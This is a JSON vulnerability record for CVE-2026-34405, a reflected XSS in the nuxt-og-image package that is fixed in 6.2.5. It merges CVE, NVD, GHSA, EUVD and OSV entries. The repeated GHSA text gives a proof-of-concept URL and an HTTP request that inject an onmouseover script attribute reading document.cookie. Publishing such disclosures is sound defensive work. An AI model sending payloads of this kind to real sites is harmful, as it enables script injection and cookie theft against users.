{"id":"CVE-2026-34405","aliases":["EUVD-2026-17670","GHSA-mg36-wvcr-m75h"],"status":"published","title":"Nuxt OG Image vulnerable to reflected XSS via query parameter injection into HTML attributes","description":"Nuxt OG Image generates OG Images with Vue templates in Nuxt. Prior to version 6.2.5, the image‑generation component by the URI: /_og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. This issue has been patched in version 6.2.5.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00224,"percentile":0.13128,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-03-31T21:16:24Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"npm","package":"nuxt-og-image","fixed_in":["6.2.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"nuxt-og-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.2.5"}]}]},{"source":"osv","ecosystem":"npm","package":"nuxt-og-image","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.2.5"}]}]}],"products":[{"vendor":"nuxt","product":"og_image"},{"vendor":"nuxt-modules","product":"og-image"}],"references":[{"url":"https://github.com/nuxt-modules/og-image/security/advisories/GHSA-mg36-wvcr-m75h","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34405","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mg36-wvcr-m75h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34405.json","tags":["advisory"]},{"url":"https://github.com/nuxt-modules/og-image","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34405","title":"Nuxt OG Image vulnerable to reflected XSS via query parameter injection into HTML attributes","description":"Nuxt OG Image generates OG Images with Vue templates in Nuxt. Prior to version 6.2.5, the image‑generation component by the URI: /_og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. This issue has been patched in version 6.2.5.","status":"published","published":"2026-03-31T21:16:24.918Z","modified":"2026-04-01T18:43:23.097Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-17670","description":"Nuxt OG Image generates OG Images with Vue templates in Nuxt. Prior to version 6.2.5, the image‑generation component by the URI: /_og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. This issue has been patched in version 6.2.5.","status":"published","published":"2026-03-31T21:16:24Z","modified":"2026-04-01T18:43:23Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:24.09733Z"}],"ghsa":[{"id":"GHSA-mg36-wvcr-m75h","title":"Nuxt OG Image is vulnerable to reflected XSS via query parameter injection into HTML attributes","description":"**Product:** Nuxt OG Image \n**Version:** 6.1.2\n**CWE-ID:** [CWE-79](https://cwe.mitre.org/data/definitions/79.html): Improper Neutralization of Input During Web Page Generation\n**Description:** Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection.\n**Impact:** Client-Side JavaScript Execution\n**Exploitation condition:** An external user\n**Mitigation:** Correct the logic of parsing GET parameters and their subsequent implementation into the generated page.\n**Researcher:** Dmitry Prokhorov (Positive Technologies)\n\n## Research \nDuring the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered.\nThis research revealed that the image‑generation component by the URI: `/_og/d/` (and, in older versions, `/og-image/`) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.\n\n\n_Listing 1. The content of the configuration file `nuxt.config.ts`_ \n```\nexport default defineNuxtConfig({\n  modules: ['nuxt-og-image'],\n  devServer: {\n    host: 'web-test.local',\n    port: 3000\n  },\n  site: {\n    url: 'http://web-test.local:3000',\n  },\n  ogImage: {\n    fonts: [\n      'Inter:400', \n      'Inter:700'\n    ],\n  }\n})\n```\n\n## Vulnerability reproduction\nTo demonstrate the proof‑of‑concept, follow the URI: `/_og/d/og.html?width=1000\u0026height=1000\u0026onmouseover=alert(document.cookie)\u0026autofocus`\nThe injected parameters `onmouseover=alert(document.cookie)` and `autofocus` are treated as attributes and are inserted directly into the generated HTML page.\n\n\n_Listing 2. HTTP-request example_\n```\nGET /_og/d/og.html?width=1000\u0026height=1000\u0026onmouseover=alert(document.cookie) HTTP/1.1\nHost: web-test.local:3000\n```\n\n_Figure 1. The injected attribute in the HTML body_\n\u003cimg width=\"974\" height=\"670\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d442c235-71a5-4da9-a963-8cf4b8614745\" /\u003e\n\n_Figure 2. JavaScript code execution_\n\u003cimg width=\"974\" height=\"291\" alt=\"image\" src=\"https://github.com/user-attachments/assets/01579f19-8e80-4fae-8516-5903370ee6d8\" /\u003e\n\n\n## Credits\nResearcher: Dmitry Prokhorov (Positive Technologies)","status":"published","published":"2026-03-31T23:27:03Z","modified":"2026-04-06T16:39:57Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:47.945242Z"}],"nvd":[{"id":"CVE-2026-34405","description":"Nuxt OG Image generates OG Images with Vue templates in Nuxt. Prior to version 6.2.5, the image‑generation component by the URI: /_og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. This issue has been patched in version 6.2.5.","status":"published","published":"2026-03-31T22:16:18.813Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:12.261218Z"}],"osv":[{"id":"CVE-2026-34405","title":"Nuxt OG Image vulnerable to reflected XSS via query parameter injection into HTML attributes","description":"Nuxt OG Image generates OG Images with Vue templates in Nuxt. Prior to version 6.2.5, the image‑generation component by the URI: /_og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. This issue has been patched in version 6.2.5.","status":"published","published":"2026-03-31T21:16:24.918Z","modified":"2026-10-28T02:30:54.650664284Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-mg36-wvcr-m75h","title":"Nuxt OG Image is vulnerable to reflected XSS via query parameter injection into HTML attributes","description":"**Product:** Nuxt OG Image \n**Version:** 6.1.2\n**CWE-ID:** [CWE-79](https://cwe.mitre.org/data/definitions/79.html): Improper Neutralization of Input During Web Page Generation\n**Description:** Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection.\n**Impact:** Client-Side JavaScript Execution\n**Exploitation condition:** An external user\n**Mitigation:** Correct the logic of parsing GET parameters and their subsequent implementation into the generated page.\n**Researcher:** Dmitry Prokhorov (Positive Technologies)\n\n## Research \nDuring the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered.\nThis research revealed that the image‑generation component by the URI: `/_og/d/` (and, in older versions, `/og-image/`) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.\n\n\n_Listing 1. The content of the configuration file `nuxt.config.ts`_ \n```\nexport default defineNuxtConfig({\n  modules: ['nuxt-og-image'],\n  devServer: {\n    host: 'web-test.local',\n    port: 3000\n  },\n  site: {\n    url: 'http://web-test.local:3000',\n  },\n  ogImage: {\n    fonts: [\n      'Inter:400', \n      'Inter:700'\n    ],\n  }\n})\n```\n\n## Vulnerability reproduction\nTo demonstrate the proof‑of‑concept, follow the URI: `/_og/d/og.html?width=1000\u0026height=1000\u0026onmouseover=alert(document.cookie)\u0026autofocus`\nThe injected parameters `onmouseover=alert(document.cookie)` and `autofocus` are treated as attributes and are inserted directly into the generated HTML page.\n\n\n_Listing 2. HTTP-request example_\n```\nGET /_og/d/og.html?width=1000\u0026height=1000\u0026onmouseover=alert(document.cookie) HTTP/1.1\nHost: web-test.local:3000\n```\n\n_Figure 1. The injected attribute in the HTML body_\n\u003cimg width=\"974\" height=\"670\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d442c235-71a5-4da9-a963-8cf4b8614745\" /\u003e\n\n_Figure 2. JavaScript code execution_\n\u003cimg width=\"974\" height=\"291\" alt=\"image\" src=\"https://github.com/user-attachments/assets/01579f19-8e80-4fae-8516-5903370ee6d8\" /\u003e\n\n\n## Credits\nResearcher: Dmitry Prokhorov (Positive Technologies)","status":"published","published":"2026-03-31T23:27:03Z","modified":"2026-04-06T16:48:05.996343Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:51.811331Z"}]}}